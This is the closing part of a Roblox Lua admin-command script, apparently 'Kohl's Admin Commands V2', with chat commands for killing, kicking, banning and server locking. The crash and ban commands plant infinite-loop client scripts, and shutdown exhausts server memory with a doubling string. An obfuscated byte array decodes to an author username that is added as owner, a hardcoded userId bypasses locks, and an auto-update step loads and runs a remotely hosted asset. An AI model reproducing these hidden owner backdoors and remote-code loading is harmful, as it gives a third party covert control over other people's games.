2284
if msg:lower() == "logs" then
2285
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
2286
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
2287
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
2288
end
2289
	
2290
if msg:lower():sub(1,9) == "loopkill " then
2291
local chk1 = msg:lower():sub(10):find(" ")
2292
local plrz = GetPlr(plr, msg:lower():sub(10))
2293
local num = 9999
2294
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
2295
for i, v in pairs(plrz) do
2296
if v and not ChkAdmin(v.Name, false) then
2297
local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
2298
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2299
for i = 1, ]] .. tostring(num) .. [[ do 
2300
repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
2301
coroutine.resume(coroutine.create(function()
2302
if plr and plr.Character then plr.Character:BreakJoints() end
2303
end))
2304
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2305
end
2306
end
2307
end
2308
2309
if msg:lower():sub(1,11) == "unloopkill " then
2310
local plrz = GetPlr(plr, msg:lower():sub(12))
2311
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2312
end
2313
2314
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
2315
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
2316
2317
if msg:lower():sub(1,3) == "sm " then
2318
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
2319
end
2320
2321
if msg:lower():sub(1,3) == "ko " then
2322
local chk1 = msg:lower():sub(4):find(" ") + 3
2323
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
2324
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
2325
for n = 1, num do
2326
for i, v in pairs(plrz) do
2327
coroutine.resume(coroutine.create(function()
2328
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then 
2329
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
2330
v.Character:BreakJoints() 
2331
wait(1/44) 
2332
v:LoadCharacter()
2333
wait(1/44) 
2334
end
2335
end))
2336
end
2337
end
2338
end
2339
2340
if msg:lower():sub(1,6) == "crash " then
2341
local plrz = GetPlr(plr, msg:lower():sub(7))
2342
for i, v in pairs(plrz) do
2343
coroutine.resume(coroutine.create(function()
2344
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
2345
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
2346
end
2347
end))
2348
end
2349
end
2350
2351
if msg:lower():sub(1,5) == "kick " then
2352
local plrz = GetPlr(plr, msg:lower():sub(6))
2353
for i, v in pairs(plrz) do
2354
coroutine.resume(coroutine.create(function()
2355
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
2356
end))
2357
end
2358
end
2359
2360
if msg:lower():sub(1,6) == "admin " then
2361
local plrz = GetPlr(plr, msg:lower():sub(7))
2362
for i, v in pairs(plrz) do
2363
coroutine.resume(coroutine.create(function()
2364
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2365
end))
2366
end
2367
end
2368
2369
if msg:lower():sub(1,8) == "unadmin " then
2370
for i = 1, #tempadmins do
2371
coroutine.resume(coroutine.create(function()
2372
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
2373
end))
2374
end
2375
end
2376
2377
if msg:lower():sub(1,4) == "ban " then
2378
local plrz = GetPlr(plr, msg:lower():sub(5))
2379
for i, v in pairs(plrz) do
2380
coroutine.resume(coroutine.create(function()
2381
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
2382
end))
2383
end
2384
end
2385
2386
if msg:lower():sub(1,6) == "unban " then
2387
for i = 1, #banland do
2388
coroutine.resume(coroutine.create(function()
2389
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
2390
end))
2391
end
2392
end
2393
2394
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
2395
2396
end
2397
end))
2398
end
2399
2400
function AdminControl(plr)
2401
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
2402
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
2403
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
2404
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
2405
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
2406
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
2407
end)) end
2408
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2409
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
2410
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2411
coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
2412
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
2413
plr.Chatted:connect(function(msg) Chat(msg,plr) end)
2414
end
2415
2416
if not ntab then script:Destroy() end
2417
if not bct then script:Destroy() end
2418
2419
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
2420
2421
script.Name = "Kohl's Admin Commands V2"
2422
2423
if not ntab then script:Destroy() end
2424
if not bct then script:Destroy() end
2425
if not tcb then script:Destroy() end
2426
game.Players.PlayerAdded:connect(AdminControl)
2427
for i, v in pairs(game.Players:children()) do AdminControl(v) end
2428
end
2429
2430
local mod = game:service("InsertService"):LoadAsset(100808216)
2431
if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then 
2432
local newac = mod:findFirstChild("Kohl's Admin Commands V2")
2433
newac.Disabled = true
2434
local new = tonumber(mod:findFirstChild("Version", true).Value)
2435
local old = 0
2436
if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
2437
if new > old then
2438
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
2439
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
2440
for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
2441
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
2442
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
2443
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
2444
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
2445
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
2446
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
2447
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
2448
local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
2449
local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
2450
wait()
2451
newac.Parent = game.Workspace
2452
newac.Disabled = false
2453
script.Disabled = true
2454
script:Destroy()
2455
else
2456
CHEESE()
2457
end
2458
else
2459
CHEESE()
2460
end